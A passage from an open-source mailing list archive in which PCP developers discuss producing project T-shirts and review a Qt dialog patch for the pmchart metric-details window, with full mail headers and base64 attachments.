//8AAAAAAAAAAAAAAAAAAAAAVgAkACQA//8AAAAAAAAAAAAAAAAAAAAAVgAqACoA//8AAAAAAAAA AAAAAAAAAAAAEP//KwACAAAAAAAcAFAAcgBvAGoAZQBjAHQALgBUAGgAaQBzAEQAbwBjAHUAbQBl AG4AdAAuAGQAdgBhAFIAaABQAGgAAQAbAFAAcgBvAGoAZQBjAHQALgBUAGgAaQBzAEQAbwBjAHUA bQBlAG4AdAAuAEQAdwBQAHgATQBKAAEAGwBQAHIAbwBqAGUAYwB0AC4AVABoAGkAcwBEAG8AYwB1 AG0AZQBuAHQALgBnAHQAeQBJAFAATwABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAGgBQAHIAbwBqAGUAYwB0AC4AVABoAGkAcwBEAG8AYwB1AG0AZQBuAHQALgBR AHMAZABmAFIAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaAFAAcgBvAGoAZQBjAHQALgBUAGgA aQBzAEQAbwBjAHUAbQBlAG4AdAAuAEoAeQB4AE4AQQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbAFAAcgBvAGoAZQBjAHQALgBUAGgAaQBzAEQA bwBjAHUAbQBlAG4AdAAuAGwASABXAEUAWQBYAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAbAFAAcgBv AGoAZQBjAHQALgBUAGgAaQBzAEQAbwBjAHUAbQBlAG4AdAAuAHgAYwBBAGIAagBvAAEAEQcAFgAa AFAAUgBPAEoARQBDAFQALgBUAEgASQBTAEQATwBDAFUATQBFAE4AVAAuAEoAWQBYAE4AQQAAAA8A GgBQAFIATwBKAEUAQwBUAC4AVABIAEkAUwBEAE8AQwBVAE0ARQBOAFQALgBRAFMARABGAFIAAAAC ABsAUABSAE8ASgBFAEMAVAAuAFQASABJAFMARABPAEMAVQBNAEUATgBUAC4ARABXAFAAWABNAEoA AAADABsAUABSAE8ASgBFAEMAVAAuAFQASABJAFMARABPAEMAVQBNAEUATgBUAC4ARwBUAFkASQBQ AE8AAAAkABsAUABSAE8ASgBFAEMAVAAuAFQASABJAFMARABPAEMAVQBNAEUATgBUAC4ATABIAFcA RQBZAFgAAAAqABsAUABSAE8ASgBFAEMAVAAuAFQASABJAFMARABPAEMAVQBNAEUATgBUAC4AWABD AEEAQgBKAE8AAAABABwAUABSAE8ASgBFAEMAVAAuAFQASABJAFMARABPAEMAVQBNAEUATgBUAC4A RABWAEEAUgBIAFAASAAAAEACEAAAAAAAAADYAAAAWAAAEABAAAD//wEAAAAHAFUAbgBrAG4AbwB3 AG4A//8BAAgAAAAAAAAAAAAAAP//AQAAAAAA//8AAAIA//8AAAAA//8AAAIA//8AAAAABgAAAEce kAEAAAICBgMFBAUCAwT/LgDgQ3gAwAkAAAAAAAAA/wEAAAAAAABUAGkAbQBlAHMAIABOAGUAdwAg AFIAbwBtAGEAbgAAADUekAECAAUFAQIBBwYCBQcAAAAAAAAAEAAAAAAAAAAAAAAAgAAAAABTAHkA bQBiAG8AbAAAADMukAEAAAILBgQCAgICAgT/KgDgQ3gAwAkAAAAAAAAA/wEAAAAAAABBAHIAaQBh AGwAAABBLpABAAACCwYGAgICAwIEhwIAAAAIAAAAAAAAAAAAAJ8AAAAAAAAAQQByAGkAYQBsACAA TgBhAHIAcgBvAHcAAAA3LpABAAACDwUCAgIEAwIE/wIA4P+sAEABAAAAAAAAAJ8BAAAAAAAAQwBh AGwAaQBiAHIAaQAAAEEekAEAAAIEBQMFBAYDAgT/AgDg/yQAQgAAAAAAAAAAnwEAAAAAAABDAGEA bQBiAHIAaQBhACAATQBhAHQAaAAAACIABABxCJgYAPDQAgAAaAEAAAAATjRKh040SocAAAAAAQAA AAAACgAAAD4AAAABAAEAAAAEAAOQAQAAAB8AAAC3AAAAAQABAAAAAQAAAAmGFRshAwDwEAAAAAEA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgBaAFtAC0AIGBcjAAAAAAAAAAAAAAAAAAAEcAAADVAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAgAAAAAAAAAAAABKg1EA8BAACAD8/QEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyFAAAAAA CfD/DwABJFAAAOQEAAAAAAAA////f////3////9/////fwAAAAD///9/m2thAAEGAAC2AAAAAAAA AAAAAAAAAAAAAAAAAAAAIQQAAAAAAAAAAAAAAAAAAAAAAAAQHAAABQAAAAAAAAAAAHgAAAB4AAAA AAAAAAAAAACgBQAA//8SAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== --Apple-Mail-FA1454F5-9F62-1BFF-C8FA-87DD7907F021-- From nscott@redhat.com Thu Oct 6 23:54:18 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 169257CA0 for ; Thu, 6 Oct 2016 23:54:18 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id DC3C38F8037 for ; Thu, 6 Oct 2016 21:54:14 -0700 (PDT) X-ASG-Debug-ID: 1475816049-0bf57b1e922fe8d0001-S8gJnT Received: from mx4-phx2.redhat.com (mx4-phx2.redhat.com [209.132.183.25]) by cuda.sgi.com with ESMTP id 0KV7iFjat0JPzsiI (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 06 Oct 2016 21:54:10 -0700 (PDT) X-Barracuda-Envelope-From: nscott@redhat.com X-Barracuda-Effective-Source-IP: mx4-phx2.redhat.com[209.132.183.25] X-Barracuda-Apparent-Source-IP: 209.132.183.25 Received: from zmail20.collab.prod.int.phx2.redhat.com (zmail20.collab.prod.int.phx2.redhat.com [10.5.83.23]) by mx4-phx2.redhat.com (8.13.8/8.13.8) with ESMTP id u974s6iQ027803 for ; Fri, 7 Oct 2016 00:54:06 -0400 Date: Fri, 7 Oct 2016 00:54:06 -0400 (EDT) From: Nathan Scott Reply-To: Nathan Scott To: pcp developers Message-ID: <385091071.847920.1475816046061.JavaMail.zimbra@redhat.com> In-Reply-To: <1480069171.845884.1475813412137.JavaMail.zimbra@redhat.com> Subject: PCP T-Shirts (and stickers?) MIME-Version: 1.0 X-ASG-Orig-Subj: PCP T-Shirts (and stickers?) Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [10.64.48.88] X-Mailer: Zimbra 8.0.6_GA_5922 (ZimbraWebClient - FF49 (Linux)/8.0.6_GA_5922) Thread-Topic: PCP T-Shirts (and stickers?) Thread-Index: 6ICsRJXP/S4FK01b2MPPGNKYBnwn2A== X-Barracuda-Connect: mx4-phx2.redhat.com[209.132.183.25] X-Barracuda-Start-Time: 1475816050 X-Barracuda-Encrypted: DHE-RSA-AES256-SHA X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 816 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.02 X-Barracuda-Spam-Status: No, SCORE=0.02 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33533 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... Hi all, We are looking into producing some PCP T-shirts using funds we've raised through the efforts of the Google Summer of Code mentors - and wish to make these available to everyone. We have someone we can work with to distribute them at reasonably low costs, but we will either need to pay someone to come up with a professional design (probably worth it?), or come up with that ourselves. Does anyone have any design skills they could offer (or friends?, friends of friends?) so we can make something that really stands out? The design(s) could incorporate any/all of the PCP, Parfait, Speed and Vector icons - we're open to anything and want to be inclusive of all the many PCP-related efforts. Please contact me (off-list) if you can help in any way, thanks! cheers. -- Nathan From nscott@redhat.com Fri Oct 7 02:06:30 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 34A4A7CA0 for ; Fri, 7 Oct 2016 02:06:30 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id EDE6A8F806F for ; Fri, 7 Oct 2016 00:06:26 -0700 (PDT) X-ASG-Debug-ID: 1475823981-0bf57b1e9230ca80001-S8gJnT Received: from mx6-phx2.redhat.com (mx6-phx2.redhat.com [209.132.183.39]) by cuda.sgi.com with ESMTP id uecanESBaQ0Idg0Y (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 07 Oct 2016 00:06:22 -0700 (PDT) X-Barracuda-Envelope-From: nscott@redhat.com X-Barracuda-Effective-Source-IP: mx6-phx2.redhat.com[209.132.183.39] X-Barracuda-Apparent-Source-IP: 209.132.183.39 Received: from zmail20.collab.prod.int.phx2.redhat.com (zmail20.collab.prod.int.phx2.redhat.com [10.5.83.23]) by mx6-phx2.redhat.com (8.14.4/8.14.4) with ESMTP id u9776Lpt008515; Fri, 7 Oct 2016 03:06:21 -0400 Date: Fri, 7 Oct 2016 03:06:20 -0400 (EDT) From: Nathan Scott Reply-To: Nathan Scott To: Dave Brolley Cc: PCP Mailing List Message-ID: <274695065.854586.1475823980838.JavaMail.zimbra@redhat.com> In-Reply-To: <57F68FF4.4080809@redhat.com> References: <57F68FF4.4080809@redhat.com> Subject: Re: [pcp] PCP Updates: RHBZ 1348349: pmchart(1): Table of metrics, instances and values MIME-Version: 1.0 X-ASG-Orig-Subj: Re: [pcp] PCP Updates: RHBZ 1348349: pmchart(1): Table of metrics, instances and values Content-Type: multipart/mixed; boundary="----=_Part_854584_1410751798.1475823980837" X-Originating-IP: [10.64.48.88] X-Mailer: Zimbra 8.0.6_GA_5922 (ZimbraWebClient - FF49 (Linux)/8.0.6_GA_5922) Thread-Topic: PCP Updates: RHBZ 1348349: pmchart(1): Table of metrics, instances and values Thread-Index: +MjPrxjgeblb7aI9tFjntZynleFdFg== X-Barracuda-Connect: mx6-phx2.redhat.com[209.132.183.39] X-Barracuda-Start-Time: 1475823981 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 1411 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.03 X-Barracuda-Spam-Status: No, SCORE=0.03 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC0_SA_TO_FROM_DOMAIN_MATCH, THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33535 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.01 BSF_SC0_SA_TO_FROM_DOMAIN_MATCH Sender Domain Matches Recipient Domain ------=_Part_854584_1410751798.1475823980837 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit Hi Dave, ----- Original Message ----- > This is my first Qt creation using the qt designer tool. A review of all > aspects is definitely warranted. > Nice! Getting there - handful of things I came across trying it ... - there's a UI interaction "surprise" when clicking on a chart, while multiple charts active (e.g. pmchart -c CPU -c Netbytes) - it pops up multiple dialogs at once. Should always only be one - the clicked-on chart's metrics. - should be using a QDialog here rather than a new QMainWindow I think (allows dialog-OK button, which we also need here) - we don't need the menu bar, status bar, etc of a QMainWindow in a QDialog; - (re-)sizing of dialogs I always find tricky, and when I resize this one, everything stays "static" - ideally the widgets would all resize with the dialog window. Have a look at the way saveviewdialog.ui does this, e.g. when clicking+dragging on the window-manager-window see how everything reshapes. Attached patch switched to using QDialog, adds an OK button, and sets up the table headings in the .ui file ... but breaks a bunch too. And I'm not sure how to get the resizing working correctly like we have in saveviewdialog.ui - maybe you can see what I've missed there? (also, in designer you can use Ctrl+r - Run - to quickly test any changes to a new window, if you hadn't found that already). cheers. -- Nathan ------=_Part_854584_1410751798.1475823980837 Content-Type: text/x-patch; name=broken-dialog.patch Content-Disposition: attachment; filename=broken-dialog.patch Content-Transfer-Encoding: base64 ZGlmZiAtLWdpdCBhL3NyYy9wbWNoYXJ0L21ldHJpY2RldGFpbHMuY3BwIGIvc3JjL3BtY2hhcnQv bWV0cmljZGV0YWlscy5jcHAKaW5kZXggZDE4NTFkZi4uODUxYWE1NSAxMDA2NDQKLS0tIGEvc3Jj L3BtY2hhcnQvbWV0cmljZGV0YWlscy5jcHAKKysrIGIvc3JjL3BtY2hhcnQvbWV0cmljZGV0YWls cy5jcHAKQEAgLTE0LDggKzE0LDcgQEAKICNpbmNsdWRlICJtZXRyaWNkZXRhaWxzLmgiCiAjaW5j bHVkZSA8UVRhYmxlV2lkZ2V0PgogCi1NZXRyaWNEZXRhaWxzV2luZG93OjpNZXRyaWNEZXRhaWxz V2luZG93KFFXaWRnZXQqIHBhcmVudCkgOgotICAgIFFNYWluV2luZG93KHBhcmVudCkKK01ldHJp Y0RldGFpbHNXaW5kb3c6Ok1ldHJpY0RldGFpbHNXaW5kb3coUVdpZGdldCogcGFyZW50KSA6IFFE aWFsb2cocGFyZW50KQogewogICAgIHNldHVwVWkodGhpcyk7CiAKZGlmZiAtLWdpdCBhL3NyYy9w bWNoYXJ0L21ldHJpY2RldGFpbHMuaCBiL3NyYy9wbWNoYXJ0L21ldHJpY2RldGFpbHMuaAppbmRl eCA4ZGE5MGNkLi4wYmMzMjZkIDEwMDY0NAotLS0gYS9zcmMvcG1jaGFydC9tZXRyaWNkZXRhaWxz LmgKKysrIGIvc3JjL3BtY2hhcnQvbWV0cmljZGV0YWlscy5oCkBAIC0xNSw3ICsxNSw3IEBACiAj ZGVmaW5lIE1FVFJJQ0RFVEFJTFNfSAogCiAjaW5jbHVkZSAidWlfbWV0cmljZGV0YWlscy5oIgot Y2xhc3MgTWV0cmljRGV0YWlsc1dpbmRvdyA6IHB1YmxpYyBRTWFpbldpbmRvdywgcHVibGljIFVp OjpNZXRyaWNEZXRhaWxzV2luZG93CitjbGFzcyBNZXRyaWNEZXRhaWxzV2luZG93IDogcHVibGlj IFFEaWFsb2csIHB1YmxpYyBVaTo6TWV0cmljRGV0YWlsc1dpbmRvdwogewogICAgIFFfT0JKRUNU CiAKQEAgLTM1LDExICszNSw2IEBAIHB1YmxpYyBzbG90czoKIHByb3RlY3RlZCBzbG90czoKIAog cHJpdmF0ZToKLSNpZiAwCi0gICAgIHN0cnVjdCB7Ci0JIGludCB3aGF0ZXZlcjsKLSAgICAgfSBt eTsKLSNlbmRpZgogfTsKIAogI2VuZGlmCS8vIE1FVFJJQ0RFVEFJTFNfSApkaWZmIC0tZ2l0IGEv c3JjL3BtY2hhcnQvbWV0cmljZGV0YWlscy51aSBiL3NyYy9wbWNoYXJ0L21ldHJpY2RldGFpbHMu dWkKaW5kZXggZThlOGViYS4uY2YzY2ZkMSAxMDA2NDQKLS0tIGEvc3JjL3BtY2hhcnQvbWV0cmlj ZGV0YWlscy51aQorKysgYi9zcmMvcG1jaGFydC9tZXRyaWNkZXRhaWxzLnVpCkBAIC0xLDU4ICsx LDEyMCBAQAogPD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KIDx1aSB2ZXJz aW9uPSI0LjAiPgogIDxjbGFzcz5NZXRyaWNEZXRhaWxzV2luZG93PC9jbGFzcz4KLSA8d2lkZ2V0 IGNsYXNzPSJRTWFpbldpbmRvdyIgbmFtZT0iTWV0cmljRGV0YWlsc1dpbmRvdyI+CisgPHdpZGdl dCBjbGFzcz0iUURpYWxvZyIgbmFtZT0iTWV0cmljRGV0YWlsc1dpbmRvdyI+CisgIDxwcm9wZXJ0 eSBuYW1lPSJ3aW5kb3dNb2RhbGl0eSI+CisgICA8ZW51bT5RdDo6V2luZG93TW9kYWw8L2VudW0+ CisgIDwvcHJvcGVydHk+CiAgIDxwcm9wZXJ0eSBuYW1lPSJnZW9tZXRyeSI+CiAgICA8cmVjdD4K ICAgICA8eD4wPC94PgogICAgIDx5PjA8L3k+Ci0gICAgPHdpZHRoPjQwMDwvd2lkdGg+Ci0gICAg PGhlaWdodD4zMDA8L2hlaWdodD4KKyAgICA8d2lkdGg+NTIxPC93aWR0aD4KKyAgICA8aGVpZ2h0 PjMzNzwvaGVpZ2h0PgogICAgPC9yZWN0PgogICA8L3Byb3BlcnR5PgorICA8cHJvcGVydHkgbmFt ZT0ic2l6ZVBvbGljeSI+CisgICA8c2l6ZXBvbGljeSBoc2l6ZXR5cGU9IlByZWZlcnJlZCIgdnNp emV0eXBlPSJQcmVmZXJyZWQiPgorICAgIDxob3JzdHJldGNoPjA8L2hvcnN0cmV0Y2g+CisgICAg PHZlcnN0cmV0Y2g+MDwvdmVyc3RyZXRjaD4KKyAgIDwvc2l6ZXBvbGljeT4KKyAgPC9wcm9wZXJ0 eT4KICAgPHByb3BlcnR5IG5hbWU9IndpbmRvd1RpdGxlIj4KLSAgIDxzdHJpbmc+UENQIENoYXJ0 cyAtIFNlbGVjdGVkIE1ldHJpYyBEZXRhaWxzPC9zdHJpbmc+CisgICA8c3RyaW5nPlNlbGVjdGVk IE1ldHJpYyBEZXRhaWxzPC9zdHJpbmc+CisgIDwvcHJvcGVydHk+CisgIDxwcm9wZXJ0eSBuYW1l PSJsYXlvdXREaXJlY3Rpb24iPgorICAgPGVudW0+UXQ6OkxlZnRUb1JpZ2h0PC9lbnVtPgorICA8 L3Byb3BlcnR5PgorICA8cHJvcGVydHkgbmFtZT0ic2l6ZUdyaXBFbmFibGVkIj4KKyAgIDxib29s PnRydWU8L2Jvb2w+CiAgIDwvcHJvcGVydHk+Ci0gIDx3aWRnZXQgY2xhc3M9IlFXaWRnZXQiIG5h bWU9ImNlbnRyYWx3aWRnZXQiPgotICAgPGxheW91dCBjbGFzcz0iUUdyaWRMYXlvdXQiIG5hbWU9 ImdyaWRMYXlvdXQiPgotICAgIDxpdGVtIHJvdz0iMCIgY29sdW1uPSIwIj4KLSAgICAgPHdpZGdl dCBjbGFzcz0iUVRhYmxlV2lkZ2V0IiBuYW1lPSJ0YWJsZVdpZGdldCI+Ci0gICAgICA8cHJvcGVy dHkgbmFtZT0iYWx0ZXJuYXRpbmdSb3dDb2xvcnMiPgotICAgICAgIDxib29sPnRydWU8L2Jvb2w+ Ci0gICAgICA8L3Byb3BlcnR5PgotICAgICAgPHByb3BlcnR5IG5hbWU9InNvcnRpbmdFbmFibGVk Ij4KLSAgICAgICA8Ym9vbD50cnVlPC9ib29sPgotICAgICAgPC9wcm9wZXJ0eT4KLSAgICAgIDxh dHRyaWJ1dGUgbmFtZT0iaG9yaXpvbnRhbEhlYWRlckNhc2NhZGluZ1NlY3Rpb25SZXNpemVzIj4K LSAgICAgICA8Ym9vbD5mYWxzZTwvYm9vbD4KLSAgICAgIDwvYXR0cmlidXRlPgotICAgICAgPGF0 dHJpYnV0ZSBuYW1lPSJob3Jpem9udGFsSGVhZGVyU2hvd1NvcnRJbmRpY2F0b3IiIHN0ZHNldD0i MCI+Ci0gICAgICAgPGJvb2w+dHJ1ZTwvYm9vbD4KLSAgICAgIDwvYXR0cmlidXRlPgotICAgICAg PGF0dHJpYnV0ZSBuYW1lPSJob3Jpem9udGFsSGVhZGVyU3RyZXRjaExhc3RTZWN0aW9uIj4KLSAg ICAgICA8Ym9vbD5mYWxzZTwvYm9vbD4KLSAgICAgIDwvYXR0cmlidXRlPgotICAgICAgPGF0dHJp YnV0ZSBuYW1lPSJ2ZXJ0aWNhbEhlYWRlclZpc2libGUiPgotICAgICAgIDxib29sPmZhbHNlPC9i b29sPgotICAgICAgPC9hdHRyaWJ1dGU+Ci0gICAgICA8YXR0cmlidXRlIG5hbWU9InZlcnRpY2Fs SGVhZGVyU3RyZXRjaExhc3RTZWN0aW9uIj4KLSAgICAgICA8Ym9vbD5mYWxzZTwvYm9vbD4KLSAg ICAgIDwvYXR0cmlidXRlPgotICAgICA8L3dpZGdldD4KLSAgICA8L2l0ZW0+Ci0gICA8L2xheW91 dD4KKyAgPHdpZGdldCBjbGFzcz0iUURpYWxvZ0J1dHRvbkJveCIgbmFtZT0iYnV0dG9uQm94Ij4K KyAgIDxwcm9wZXJ0eSBuYW1lPSJnZW9tZXRyeSI+CisgICAgPHJlY3Q+CisgICAgIDx4PjEwPC94 PgorICAgICA8eT4zMDA8L3k+CisgICAgIDx3aWR0aD40OTk8L3dpZHRoPgorICAgICA8aGVpZ2h0 PjMwPC9oZWlnaHQ+CisgICAgPC9yZWN0PgorICAgPC9wcm9wZXJ0eT4KKyAgIDxwcm9wZXJ0eSBu YW1lPSJzdGFuZGFyZEJ1dHRvbnMiPgorICAgIDxzZXQ+UURpYWxvZ0J1dHRvbkJveDo6T2s8L3Nl dD4KKyAgIDwvcHJvcGVydHk+CiAgIDwvd2lkZ2V0PgotICA8d2lkZ2V0IGNsYXNzPSJRTWVudUJh ciIgbmFtZT0ibWVudWJhciI+CisgIDx3aWRnZXQgY2xhc3M9IlFUYWJsZVdpZGdldCIgbmFtZT0i dGFibGVXaWRnZXQiPgorICAgPHByb3BlcnR5IG5hbWU9ImVuYWJsZWQiPgorICAgIDxib29sPnRy dWU8L2Jvb2w+CisgICA8L3Byb3BlcnR5PgogICAgPHByb3BlcnR5IG5hbWU9Imdlb21ldHJ5Ij4K ICAgICA8cmVjdD4KLSAgICAgPHg+MDwveD4KLSAgICAgPHk+MDwveT4KLSAgICAgPHdpZHRoPjQw MDwvd2lkdGg+Ci0gICAgIDxoZWlnaHQ+Mjc8L2hlaWdodD4KKyAgICAgPHg+MTA8L3g+CisgICAg IDx5PjEwPC95PgorICAgICA8d2lkdGg+NTAxPC93aWR0aD4KKyAgICAgPGhlaWdodD4yNzg8L2hl aWdodD4KICAgICA8L3JlY3Q+CiAgICA8L3Byb3BlcnR5PgorICAgPHByb3BlcnR5IG5hbWU9ImFs dGVybmF0aW5nUm93Q29sb3JzIj4KKyAgICA8Ym9vbD50cnVlPC9ib29sPgorICAgPC9wcm9wZXJ0 eT4KKyAgIDxwcm9wZXJ0eSBuYW1lPSJzb3J0aW5nRW5hYmxlZCI+CisgICAgPGJvb2w+dHJ1ZTwv Ym9vbD4KKyAgIDwvcHJvcGVydHk+CisgICA8cHJvcGVydHkgbmFtZT0icm93Q291bnQiPgorICAg IDxudW1iZXI+MTwvbnVtYmVyPgorICAgPC9wcm9wZXJ0eT4KKyAgIDxwcm9wZXJ0eSBuYW1lPSJj b2x1bW5Db3VudCI+CisgICAgPG51bWJlcj41PC9udW1iZXI+CisgICA8L3Byb3BlcnR5PgorICAg PGF0dHJpYnV0ZSBuYW1lPSJob3Jpem9udGFsSGVhZGVyQ2FzY2FkaW5nU2VjdGlvblJlc2l6ZXMi PgorICAgIDxib29sPmZhbHNlPC9ib29sPgorICAgPC9hdHRyaWJ1dGU+CisgICA8YXR0cmlidXRl IG5hbWU9Imhvcml6b250YWxIZWFkZXJTaG93U29ydEluZGljYXRvciIgc3Rkc2V0PSIwIj4KKyAg ICA8Ym9vbD50cnVlPC9ib29sPgorICAgPC9hdHRyaWJ1dGU+CisgICA8YXR0cmlidXRlIG5hbWU9 Imhvcml6b250YWxIZWFkZXJTdHJldGNoTGFzdFNlY3Rpb24iPgorICAgIDxib29sPmZhbHNlPC9i b29sPgorICAgPC9hdHRyaWJ1dGU+CisgICA8YXR0cmlidXRlIG5hbWU9InZlcnRpY2FsSGVhZGVy VmlzaWJsZSI+CisgICAgPGJvb2w+ZmFsc2U8L2Jvb2w+CisgICA8L2F0dHJpYnV0ZT4KKyAgIDxh dHRyaWJ1dGUgbmFtZT0idmVydGljYWxIZWFkZXJTaG93U29ydEluZGljYXRvciIgc3Rkc2V0PSIw Ij4KKyAgICA8Ym9vbD50cnVlPC9ib29sPgorICAgPC9hdHRyaWJ1dGU+CisgICA8YXR0cmlidXRl IG5hbWU9InZlcnRpY2FsSGVhZGVyU3RyZXRjaExhc3RTZWN0aW9uIj4KKyAgICA8Ym9vbD50cnVl PC9ib29sPgorICAgPC9hdHRyaWJ1dGU+CisgICA8cm93Lz4KKyAgIDxjb2x1bW4+CisgICAgPHBy b3BlcnR5IG5hbWU9InRleHQiPgorICAgICA8c3RyaW5nPlRpbWU8L3N0cmluZz4KKyAgICA8L3By b3BlcnR5PgorICAgPC9jb2x1bW4+CisgICA8Y29sdW1uPgorICAgIDxwcm9wZXJ0eSBuYW1lPSJ0 ZXh0Ij4KKyAgICAgPHN0cmluZz5Ib3N0bmFtZTwvc3RyaW5nPgorICAgIDwvcHJvcGVydHk+Cisg ICA8L2NvbHVtbj4KKyAgIDxjb2x1bW4+CisgICAgPHByb3BlcnR5IG5hbWU9InRleHQiPgorICAg ICA8c3RyaW5nPk1ldHJpYzwvc3RyaW5nPgorICAgIDwvcHJvcGVydHk+CisgICA8L2NvbHVtbj4K KyAgIDxjb2x1bW4+CisgICAgPHByb3BlcnR5IG5hbWU9InRleHQiPgorICAgICA8c3RyaW5nPklu c3RhbmNlPC9zdHJpbmc+CisgICAgPC9wcm9wZXJ0eT4KKyAgIDwvY29sdW1uPgorICAgPGNvbHVt bj4KKyAgICA8cHJvcGVydHkgbmFtZT0idGV4dCI+CisgICAgIDxzdHJpbmc+VmFsdWU8L3N0cmlu Zz4KKyAgICA8L3Byb3BlcnR5PgorICAgPC9jb2x1bW4+CisgICA8aXRlbSByb3c9IjAiIGNvbHVt bj0iMCI+CisgICAgPHByb3BlcnR5IG5hbWU9InRleHQiPgorICAgICA8c3RyaW5nLz4KKyAgICA8 L3Byb3BlcnR5PgorICAgPC9pdGVtPgogICA8L3dpZGdldD4KLSAgPHdpZGdldCBjbGFzcz0iUVN0 YXR1c0JhciIgbmFtZT0ic3RhdHVzYmFyIi8+CiAgPC93aWRnZXQ+CiAgPHJlc291cmNlcy8+CiAg PGNvbm5lY3Rpb25zLz4K ------=_Part_854584_1410751798.1475823980837-- From myllynen@redhat.com Fri Oct 7 02:16:43 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5A9CA7CA0 for ; Fri, 7 Oct 2016 02:16:43 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id A4FB3AC001 for ; Fri, 7 Oct 2016 00:16:39 -0700 (PDT) X-ASG-Debug-ID: 1475824595-0bf57c7e212b9820001-S8gJnT Received: from mail-wm0-f53.google.com (mail-wm0-f53.google.com [74.125.82.53]) by cuda.sgi.com with ESMTP id Nus3jzRpffAdeJbS (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Fri, 07 Oct 2016 00:16:36 -0700 (PDT) X-Barracuda-Envelope-From: myllynen@redhat.com X-Barracuda-Effective-Source-IP: mail-wm0-f53.google.com[74.125.82.53] X-Barracuda-Apparent-Source-IP: 74.125.82.53 Received: by mail-wm0-f53.google.com with SMTP id i130so17789943wmg.1 for ; Fri, 07 Oct 2016 00:16:36 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; 